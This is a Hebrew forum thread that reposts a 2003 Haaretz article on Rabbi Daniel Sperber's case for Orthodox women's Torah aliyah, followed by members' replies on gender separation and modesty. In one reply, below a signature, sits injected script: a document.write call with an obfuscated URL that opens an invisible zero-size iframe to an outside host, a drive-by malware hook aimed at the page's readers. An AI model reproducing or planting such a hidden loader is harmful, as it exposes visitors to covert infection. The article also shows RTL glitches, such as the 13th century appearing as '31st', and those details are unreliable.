עליית נשים לתורה באספקלריה אורתודוכסית

http://www.haaretz.co.il/hasite/pages/ShArt.jhtml?itemNo=311438&contrassID=1&subContrassID=1&sbSubContrassID=0


עדכון אחרון - 25/06/03 06:46
רב אורתודוקסי מתיר עליית נשים לתורה

מאת יאיר שלג


הרב דניאל שפרבר: האיסור על נשים - במצבים נקודתיים בלבד



שפרבר. היתר ראשון




הרב פרופ' דניאל שפרבר, רב
אורתודוקסי המכהן גם כיו"ר
מועצת חמ"ד (המועצה הציבורית
המייעצת לאגף לחינוך
ממלכתי-דתי במשרד החינוך),
קובע כי נשים יכולות לעלות
לתורה ואף לקרוא בתורה. שפרבר,
מרצה לתלמוד באוניברסיטת
בר-אילן, שאף זכה בפרס ישראל
על מחקריו התלמודיים, כתב את
הדברים במאמר שהוא מפרסם בימים
אלה בגיליון החדש של "דעות",
ביטאונה של תנועת "נאמני תורה

ועבודה" )אחת מתנועות האגף הליברלי בציונות הדתית(. ככל הידוע, מדובר
בקביעה ראשונה )שפרבר עצמו נזהר מלכנות את מאמרו "פסיקה"( של רב
אורתודוקסי המתיר עליית נשים לתורה; נושא זה מהווה את אחד מסימני
המחלוקת והשוני המובהקים בין האורתודוקסיה היהודית והזרמים
הלא-אורתודוקסיים.

במאמר קובע שפרבר, כי מלכתחילה האיסור להעלאת נשים לתורה היה תחום
למצבים נקודתיים. הגמרא במסכת מגילה קובעת ש"הכל עולין למניין שבעה
)שבעת העולים לתורה בשבת - י"ש(, אפילו קטן, אפילו אשה", אלא שחכמים
הוסיפו לכך את ההסתייגות ש"אשה לא תקרא בתורה מפני כבוד הציבור".
שפרבר מצטט פרשנות רווחת לביטוי "כבוד הציבור" שמסביר כי מדובר
במצבים שבהם אף גבר אינו יודע לקרוא בתורה ולכן קריאתה של אשה עלולה
לבייש את הגברים. מכאן לכאורה ראיה שבמצב כמו בימינו, שבו רוב
המתפללים הגברים יודעים לקרוא בתורה, הנימוק אינו תקף. יתר על כן,
אומר שפרבר, מלכתחילה לא ברור אם הקביעה שאשה לא תקרא בתורה בשל
"כבוד הציבור" היא בגדר פסיקה קטיגורית או המלצה בלבד, וכן שכל עניין
קריאת התורה הוא רק תקנת חכמים ולא דין תורה ולכן יש כאן מצב של "ספק
מדרבנן", שהפסיקה ההלכתית נוטה להקל בו.

שפרבר מצטט גם מפוסקים מאוחרים יחסית, שמסייגים את איסור עליית נשים
רק למצבים מסוימים. כך, המהר"ם מרוטנבורג - פוסק מהמאה ה-31 שנחשב
שמרן כלפי נשים - קובע כי במקום שבו אי אפשר להעלות רק גברים )מפני
שאין מספיק גברים היודעים לקרוא( "יידחה כבוד הציבור".

גם רבי יוסף קארו, מחבר "שולחן ערוך", קובע ש"הכל עולים למניין שבעה,
אפילו אשה", ורק פרשניו מסייגים זאת בכך ש"לא יהיו כולם )כל שבעת
העולים - י"ש( נשים או קטנים".

אבל מה שמכריע את הכף, לדעת שפרבר, היא הטענה שמול המושג של "כבוד
הציבור", שהוא מלכתחילה לא ברור ומסויג, עומד בימינו הערך של "כבוד
הבריות" - כבודן של הנשים הנפגעות מהיותן מודרות מהקריאה בתורה. הוא
מוכיח ששיקול "כבוד הבריות" היה מקובל לאורך הדורות בפסיקה כשיקול
המכריע ספיקות הלכתיים, ולכן קובע שכך ראוי גם בעניין זה.

בשנים האחרונות כבר החלו נשים אורתודוקסיות לקיים מנייני תפילה שבהן
הן גם קוראות בתורה - לרוב מדובר במנייני נשים בלבד, בשל הנימוק של
"כבוד הציבור" הרלוונטי, כאמור, רק לקריאת נשים בפני גברים.

בשנתיים האחרונות החל לפעול בירושלים גם מניין המכונה "שירה חדשה" ובו
לראשונה נשים אורתודוקסיות עולות וקוראות בתורה לצד הגברים. עם זאת,
שום רב אורתודוקסי לא נתן בפומבי היתר הלכתי ל"שירה חדשה".

שפרבר אומר שלא כתב את מאמרו בגלל תופעת "שירה חדשה", אלא בעקבות
פולמוס שהתעורר בכתב העת היהודי-אמריקאי "עדה" )ביטאונם של
האורתודוקסים הליברלים בארה"ב(. ב"עדה" הופיע לפני כשנתיים מאמרו של
עורך הדין מנדל שפירא, הדן בכל סוגיית מעמדן של הנשים בבית הכנסת.
בעקבות נימות מקלות של המאמר הופיע ב"עדה" מאמר נוסף, פרי עטו של הרב
יהודה הנקין, שטען כי גם אם מבחינה הלכתית צרופה ניתן, למשל, להתיר
עליית נשים לתורה, הרי השיקול המכריע הוא חברתי-ציבורי, כלומר העובדה
שפסיקה כזאת נמצאת מחוץ לקונסנזוס ההלכתי "וקהילה שמאפשרת זאת אינה
אורתודוקסית בהגדרתה ולא תישאר אורתודוקסית למעשה". "המאמר של הנקין
היה הטריגר למאמר שלי", אומר שפרבר; במאמרו הוא אכן מכיר בשיקול
החברתי-ציבורי, אבל טוען שהוא עצמו יכול להוליך למסקנות מגוונות,
כשיש קהילות אורתודוקסיות שבהן עליית נשים אינה נחשבת מנוגדת לזהות
האורתודוקסית.

עם זאת, הוא מדגיש שאין בדבריו פסיקה הלכתית: "בכוונה לא התייחסתי לכל
פרטי העלייה לתורה והתפילה: כיצד צריכות הנשים לשבת בבית הכנסת, האם
יוכלו לעלות לצד הגברים או רק בנפרד, כי כל אלו דורשים עיון נפרד".
הוא גם מדגיש שאין במאמרו היתר לתפילת נשים כחזניות (דבר המתקיים
בקהילת "שירה חדשה", לפחות לגבי אותם קטעים בתפילה שאינם מחויבים
מבחינה הלכתית, שכן לגבי קטעים מחויבים יש שאלה של יכולתן של נשים
להוציא ידי חובה את הגברים, בשעה שהן עצמן פטורות מחובת תפילה -
י"ש).

נראה שמאמרו של הרב שפרבר יגרום בוודאי לנשים רבות, ואולי לקהילות
שלמות, שרצו מאוד לעלות לתורה אבל חששו שהדבר אסור, להרשות זאת
לעצמן. בבית הכנסת שבו הוא עצמו מכהן כרב, קהילת "מנחם ציון" בעיר
העתיקה בירושלים, הוא מעריך שההיתר החדש שקבע לא יתקבל בברכה: "בית
הכנסת שלי כל כך שמרני, שאני אפילו לא מצליח לשכנע אותם לאפשר לאשה
לרקוד עם ספר התורה בבית הכנסת בשמחת תורה".

תוקן על ידי - רב_סיינפלד - 6/25/2003 1:20:41 PM

אגב לאיקה ולמתווכחים איתה, עוד לפני היות הפמיניזם בעולמינו היו נשים שחפצו לקיים מצוות נוספות מתוך להט דתי, לדוגמא סבתא של הרב אשכנזי מכפר חב"ד, היתה נערה יהודיה ברוסיה וחשקה נפשה ללבוש ציצית כיון שלמדה על מעלת הציצית על פי החסידות. אביה לא נתן לה, כי היה גביר גדול מיוחס וחשוב, לא כי הוא דוס גדול. 

אז אולי הפתרון הוא שנשים יקיימו מנין משלהם, כמו של הגברים לזה את מסכימה.

בלי  קשר לכל האשכול הארוך, חשבתי רבות על הנושא האם ראוי לאפשר לנשים (אני אישה) לקרוא בתורה או לפחות לעלות לתורה. כשאני מעלה בדעתי את השכנה שלי , נניח, שלובשת חצאיות קצרות צמודות ופרובוקטיביות, אני מדמיינת אותה עולה לתורה- אז אף אחד כבר לא חושב על התורה, גם הנשים. וזה בזיון שנשים מביאות על עצמן.
אשווה זאת לטקס חלוקת פרס ישראל ביום העצמאות, טקס מאוד ממלכתי ומכובד בו מעניקים הכרה למפעלם של פרופסורים ואנשים נכבדים. את הטקס מנחה אישה בחליפה, ומתחת לחליפה מחשוף כל כך עמוק -מיניות בוטה ובולטת במקום ממלכתי. אני חושבת שהמנחה מבזה את הטקס ואת המדינה בכך שמחצינה את המיניות, ואני חוששת שנשים תעשינה זאת גם בבית כנסת, ואז גם אני וחברותיי לא נתרכז בקריאת התורה אלא בהופעה הפרובוקטיבית של אותה אישה. 
ובכלל ההפרדה היא למניעת המתח המיני שמבלבל את שני הצדדים מהתפילה ומהתורה. אישה שגבר מסתכל עליה לא חושבת באותם רגעים על הקב"ה, זה לא רק מצד הגברים.
וכמובן אציין שאני בעד לימוד תורה לנשים כמה שיותר. 

כמובן, נא לדון במאמר ההוא שם. תודה.

אמשלום

ניצחת.

קראתי.

וכתבתי.

[מיימוני,

חבל שלא קראת, ודומני שתופתע - אם לא מהתוכן, אזי מהאופן בו מוצגים הדברים.

גילוי נאות, איני מסכימה לרבות מהנחות היסוד של המאמר, ועדיין אני חושבת שהוא חשוב, בין בשל הטענות הנטענות בו, בין בשל הדרך בה הן נטענות ובין בשל (זהירות, אד הומינם) זהותה של הכותבת. אני מאמינה שהוא בהחלט מזמין דיון מעניין כאן בפורום ולכן הבאתי אותו.]

טוב, זה לא הרבה מילים.

איסטרטגית ההפרדה וההדחקה מייצרת מלבד הקשיחות גם תוצר לוואי חמור יותר. המיאון להודות בסתירות - הכרח שיוליד שקר.

(עמ' אחרון מייד לאחר הכותרת "יודעת כי שקר").

בשעתו הצביע אחד מחברי הפורום בעבר (וחבל מאד על דאבדין) על השפעת הסתירה הגדולה בין שני העולמות שלנו, עולם האמונות שמטיפים להן כמחייבות לעולם הפיקחות של החיים הרגילים, עלינו ועל בנינו.

דנתי בסתירות כאלו באשכולות אחרים בעבר, ואין הן נוגעות כלל לדוגמאות שהכותבת מעלה (ואני מודה שלא קראתי את המאמר אבל דומה שאני מכיר את הטרוניות המוצדקות לעתים על היחס המדיר לאשה).

חיי סתירה הכרח שיולידו שקר.

מן הראוי הוא שמשפט יקר זה יופיע בלכסיקון הפורום.

אולי כדאי להעתיק זאת כעת?

__*** נוספה הדגשה לציטוט ***_______________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

נסיון חוזר להדבקה

ראוי היה לקרוא ולסכם את הטענות העיקריות במאמר. לא היה לי זמן לעשות זאת והוא נראה רציני, למרות האכסניה הלא אקדמית ולא הלכתית שלו, ומסתבר כיאות לרמתה של הכותבת (חוקרת ממדרגה ראשונה לפי ספריה ובתו של פרופסור יהודה אליצור ע"ה).

הנה, אם אצליח, הדבקה של משפט קצר אחד שנוגע לא רק לתחומו של האשכול.

[לא ידעתי היכן לשים לינק, אבל גם אשכול זה מתאים דיו, כך נראה לי - 

מעבר למחיצה הפנימית / ורד נעם
הדרת נשים מפעילות בית הכנסת איננה פוגעת רק בנשים אלא במקום עצמו, המאבד את האותנטיות וחי במציאות אבודה. קריאה לישרות ולרכות

mdabraham מהמשנה אין פוסקים הלכה כידוע.